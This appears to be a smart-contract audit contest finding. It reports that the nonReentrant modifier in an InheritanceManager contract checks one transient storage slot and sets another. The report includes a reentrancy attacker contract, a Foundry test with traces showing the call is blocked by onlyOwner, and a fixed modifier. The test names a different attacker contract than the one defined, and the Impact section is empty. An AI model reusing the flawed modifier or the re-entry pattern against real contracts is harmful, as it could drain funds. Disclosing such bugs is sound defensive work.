Relevant GitHub Links
https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L64-L77
Summary
The nonReentrant modifier in the InheritanceManager contract contains a critical implementation error in its transient storage usage. The modifier checks and sets different storage slots, completely breaking the reentrancy protection mechanism.
Vulnerability Details
The vulnerability exists in the nonReentrant modifier where it uses transient storage (tstore/tload) incorrectly. The modifier checks slot 1 but sets slot 0, creating a mismatch that makes the reentrancy protection ineffective:
modifier nonReentrant() {
assembly {
if tload(1) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
The critical issue is:
Checks if slot 1 is locked (tload(1))
But sets the lock in slot 0 (tstore(0, 1))
Later clears slot 0 (tstore(0, 0))
Slot 1 is never modified
Impact
Proof of Concept
The attack can be demonstrated using a malicious contract that implements a reverting receive() function:
contract ReentrancyAttacker {
InheritanceManager target;
constructor(address _target) {
target = InheritanceManager(_target);
}
receive() external payable {
if(address(target).balance >= 1 ether) {
target.sendETH(1 ether, address(this));
}
}
}
Test case:
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
console.log("im owner", im.getOwner());
}
function test_NonReentrantModifierBypass() public {
vm.startPrank(owner);
InheritanceReentrancyHacker hacker = new InheritanceReentrancyHacker(address(im));
vm.deal(address(im), 10 ether);
vm.expectRevert();
im.sendETH(1 ether, address(hacker));
vm.stopPrank();
}
}
If we get the revert("Not Owner") means we bypass the nonReentrant modifier. The attack will not be successful as the onlyOwner modifier is used in the sendETH function.
Run the test:
forge test -vvvv --mt test_NonReentrantModifierBypass
Here is the output:
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_NonReentrantModifierBypass() (gas: 107695)
Logs:
im owner 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Traces:
[107695] InheritanceManagerTest::test_NonReentrantModifierBypass()
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [55032] → new InheritanceReentrancyHacker@0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d
│ └─ ← [Return] 163 bytes of code
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [11198] InheritanceManager::sendETH(1000000000000000000 [1e18], InheritanceReentrancyHacker: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ ├─ [1338] InheritanceReentrancyHacker::receive{value: 1000000000000000000}()
│ │ ├─ [805] InheritanceManager::sendETH(1000000000000000000 [1e18], InheritanceReentrancyHacker: [0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d])
│ │ │ └─ ← [Revert] NotOwner(0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d)
│ │ └─ ← [Revert] NotOwner(0xCeF98e10D1e80378A9A74Ce074132B66CDD5e88d)
│ └─ ← [Revert] revert: Transfer Failed
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.96ms (1.09ms CPU time)
Ran 1 test suite in 1.57s (9.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Fix the storage slot mismatch in the nonReentrant modifier:
modifier nonReentrant() {
assembly {
if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
Tools used
Foundry
